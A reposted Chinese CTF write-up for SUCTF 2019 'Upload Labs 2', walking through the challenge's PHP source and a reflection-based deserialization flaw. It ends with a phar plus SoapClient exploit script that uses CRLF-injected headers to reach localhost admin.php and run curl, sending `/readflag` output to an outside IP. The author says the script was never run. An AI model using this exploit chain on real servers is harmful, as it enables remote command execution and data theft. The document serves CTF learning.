自学内容网 自学内容网

65,【5】buuctf web [SUCTF 2019]Upload Labs 2

进入靶场

1,源代码

点击题目时有个就有个admin.php

<?php
// 引入配置文件
include 'config.php';

class Ad{

    public $cmd;
    public $clazz;
    public $func1;
    public $func2;
    public $func3;
    public $instance;
    public $arg1;
    public $arg2;
    public $arg3;

    // 构造函数,用于初始化对象的属性
    function __construct($cmd, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3){
        // 存储命令
        $this->cmd = $cmd;
        // 存储类名
        $this->clazz = $clazz;
        // 存储第一个函数名
        $this->func1 = $func1;
        // 存储第二个函数名
        $this->func2 = $func2;
        // 存储第三个函数名
        $this->func3 = $func3;
        // 存储第一个参数
        $this->arg1 = $arg1;
        // 存储第二个参数
        $this->arg2 = $arg2;
        // 存储第三个参数
        $this->arg3 = $arg3;
    }

    // 检查方法,使用反射来调用类的方法
    function check(){
        // 创建一个反射类,用于实例化类
        $reflect = new ReflectionClass($this->clazz);
        // 实例化类
        $this->instance = $reflect->newInstanceArgs();
        // 创建一个反射方法,用于调用类的第一个方法
        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
        // 调用类的第一个方法,并传递第一个参数
        $reflectionMethod->invoke($this->instance, $this->arg1);
        // 创建一个反射方法,用于调用类的第二个方法
        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
        // 调用类的第二个方法,并传递第二个参数
        $reflectionMethod->invoke($this->instance, $this->arg2);
        // 创建一个反射方法,用于调用类的第三个方法
        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
        // 调用类的第三个方法,并传递第三个参数
        $reflectionMethod->invoke($this->instance, $this->arg3);
    }

    // 析构函数,在对象销毁时执行
    function __destruct(){
        // 使用 system 函数执行存储的命令
        system($this->cmd);
    }
}

// 检查请求是否来自本地
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
    // 检查是否有 admin 的 POST 请求
    if(isset($_POST['admin'])){
        // 获取 POST 请求中的命令
        $cmd = $_POST['cmd'];
        // 获取 POST 请求中的类名
        $clazz = $_POST['clazz'];
        // 获取 POST 请求中的第一个函数名
        $func1 = $_POST['func1'];
        // 获取 POST 请求中的第二个函数名
        $func2 = $_POST['func2'];
        // 获取 POST 请求中的第三个函数名
        $func3 = $_POST['func3'];
        // 获取 POST 请求中的第一个参数
        $arg1 = $_POST['arg1'];
        // 获取 POST 请求中的第二个参数
        $arg2 = $_POST['arg2'];
        // 获取 POST 请求中的第三个参数
        $arg3 = $_POST['arg3'];
        // 创建一个 Ad 类的对象,并传递相应参数
        $admin = new Ad($cmd, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);
        // 调用 check 方法
        $admin->check();
    }
}
else {
    // 输出非管理员信息
    echo "You r not admin!";
}
  • 此文件定义了 Ad类,使用了反射机制。__construct 方法接收多个参数,包括 cmdclazzfunc1func2func3arg1arg2 和 arg3,存储在对象属性中。
  • check 方法使用反射来实例化 $clazz 存储的类,并调用该类的三个函数 func1func2 和 func3,并传递相应的参数。
  • __destruct 方法使用 system 函数执行 cmd 存储的命令.
  • 有一个简单的权限检查,仅允许 127.0.0.1 地址的请求访问,通过检查 $_SERVER['REMOTE_ADDR'] ,若请求包含 admin 的 POST 请求,会根据 POST 数据创建 Ad 类对象并调用其 check 方法。
  • Ad 类的 __destruct 方法使用 system 函数执行 cmd 命令,可能导致命令执行漏洞。

源码里有

func.php

<?php
// 引入 class.php 文件
include 'class.php';

// 检查是否同时设置了 submit 和 url 的 POST 请求
if (isset($_POST["submit"]) && isset($_POST["url"])) {
    // 使用正则表达式检查 url 的内容是否包含一些危险的协议或关键字
    if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){
        // 如果包含危险的协议或关键字,终止程序并输出提示信息
        die("Go away!");
    }else{
        // 获取 POST 请求中的 url 数据
        $file_path = $_POST['url'];
        // 创建 File 类的新实例,将 url 作为参数传递给构造函数
        $file = new File($file_path);
        // 调用 File 类的 getMIME 方法
        $file->getMIME();
        // 输出文件类型信息
        echo "<p>Your file type is '$file' </p>";
    }
}
?>
  • 该文件引入 class.php 并检查 submit 和 url 的 POST 请求是否同时存在。
  • 使用正则表达式对 url 进行检查,防止一些危险的协议或关键字,若匹配则终止程序。
  • 若通过检查,会创建 File 类的对象并调用 getMIME 方法获取文件的 MIME 类型。

 class.php

<?php
// 引入 config.php 文件
include 'config.php';

class File {
    // 存储文件名的公共属性
    public $file_name;
    // 存储文件类型的公共属性
    public $type;
    // 存储函数名的公共属性,默认为 "Check"
    public $func = "Check";

    // 构造函数,接收文件名作为参数
    function __construct($file_name) {
        $this->file_name = $file_name;
    }

    // 当对象反序列化时调用此方法
    function __wakeup() {
        // 使用反射类根据 $func 属性创建一个新的对象
        $class = new ReflectionClass($this->func);
        // 使用反射类实例化对象,并将 $file_name 作为参数传递
        $a = $class->newInstanceArgs([$this->file_name]);
        // 调用新对象的 check 方法
        $a->check();
    }

    // 获取文件 MIME 类型的方法
    function getMIME() {
        // 打开文件信息资源
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        // 获取文件的 MIME 类型
        $this->type = finfo_file($finfo, $this->file_name);
        // 关闭文件信息资源
        finfo_close($finfo);
    }

    // 当对象作为字符串使用时调用此方法
    function __toString() {
        // 返回文件的类型
        return $this->type;
    }
}

class Check {
    // 存储文件名的公共属性
    public $file_name;

    // 构造函数,接收文件名作为参数
    function __construct($file_name) {
        $this->file_name = $file_name;
    }

    // 检查文件内容的方法
    function check() {
        // 获取文件的内容
        $data = file_get_contents($this->file_name);
        // 检查文件内容是否包含 "<?", 若包含则终止程序
        if (mb_strpos($data, "<?")!== FALSE) {
            die("&lt;? in contents!");
        }
    }
}

 

  • 此文件定义了 File 类和 Check 类。
  • File 类的 __construct 方法接收文件名并存储,__wakeup 方法使用反射创建 Check 类的对象并调用其 check 方法,对文件进行检查。
  • getMIME 方法使用 finfo 函数获取文件的 MIME 类型,__toString 方法返回文件类型。
  • Check 类的 check 方法检查文件内容是否包含 "<?",若包含则终止程序。
    • File 类的 __wakeup 方法使用反射创建对象,但没有对 func 属性进行严格的验证和过滤,使得攻击者可以控制要实例化的类,这是一个潜在的反序列化漏洞入口。

不过连<?都过滤了,还能传什么????

2,该构造payload了

参考[SUCTF 2019]Upload Labs 2 phar+Soapclient结合_suctf-2019-web-upload labs 2-CSDN博客

这篇博客最后还有出题人写的笔记 

<?php
// 创建一个 Phar 文件
$phar = new Phar('333.phar');
$phar->startBuffering();
$phar->addFromString('333.txt', 'text');
$phar->setStub('<script language="php">__HALT_COMPILER();</script>');

class File {
    public $file_name = "";
    public $func = "SoapClient";

    function __construct() {
        $target = "http://127.0.0.1/admin.php";
        $post_string = 'admin=1&cmd=curl "http://174.0.125.63:888"."?`/readflag`"&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3='. "\r\n";
        $headers = [];
        $this->file_name  = [
            null,
            array('location' => $target,
                  'user_agent' => str_replace('^^', "\r\n", 'xxxxx^^Content-Type: application/x-www-form-urlencoded^^'.join('^^', $headers).'Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string),
                  'uri' => 'hello')
        ];
    }

    function createObject() {
        // 使用反射根据 $func 属性创建一个新的对象
        $class = new ReflectionClass($this->func);
        // 使用反射类实例化对象,并将 $file_name 作为参数传递
        $a = $class->newInstanceArgs([$this->file_name]);
        return $a;
    }
}

$object = new File();
// 对序列化后的对象进行 URL 编码
echo urlencode(serialize($object));
$phar->setMetadata($object);
$phar->stopBuffering();

// 以下是对创建的对象使用反射实例化的部分,为了演示将其放在同一文件中,但在实际应用中可能需要根据具体情况调整调用位置
if ($object instanceof File) {
    $createdObject = $object->createObject();
    // 这里可以根据 $createdObject 的类型和具体需求进行进一步的操作
    // 例如,检查是否为 SoapClient 类的实例
    if ($createdObject instanceof SoapClient) {
        echo "Successfully created SoapClient object";
    } else {
        echo "Failed to create SoapClient object";
    }
}

 将运行结果传上去应该就能得到flag了,不过现在手头能运行PHP的东西都出了点问题


原文地址:https://blog.csdn.net/2402_87039650/article/details/145290586

免责声明:本站文章内容转载自网络资源,如侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!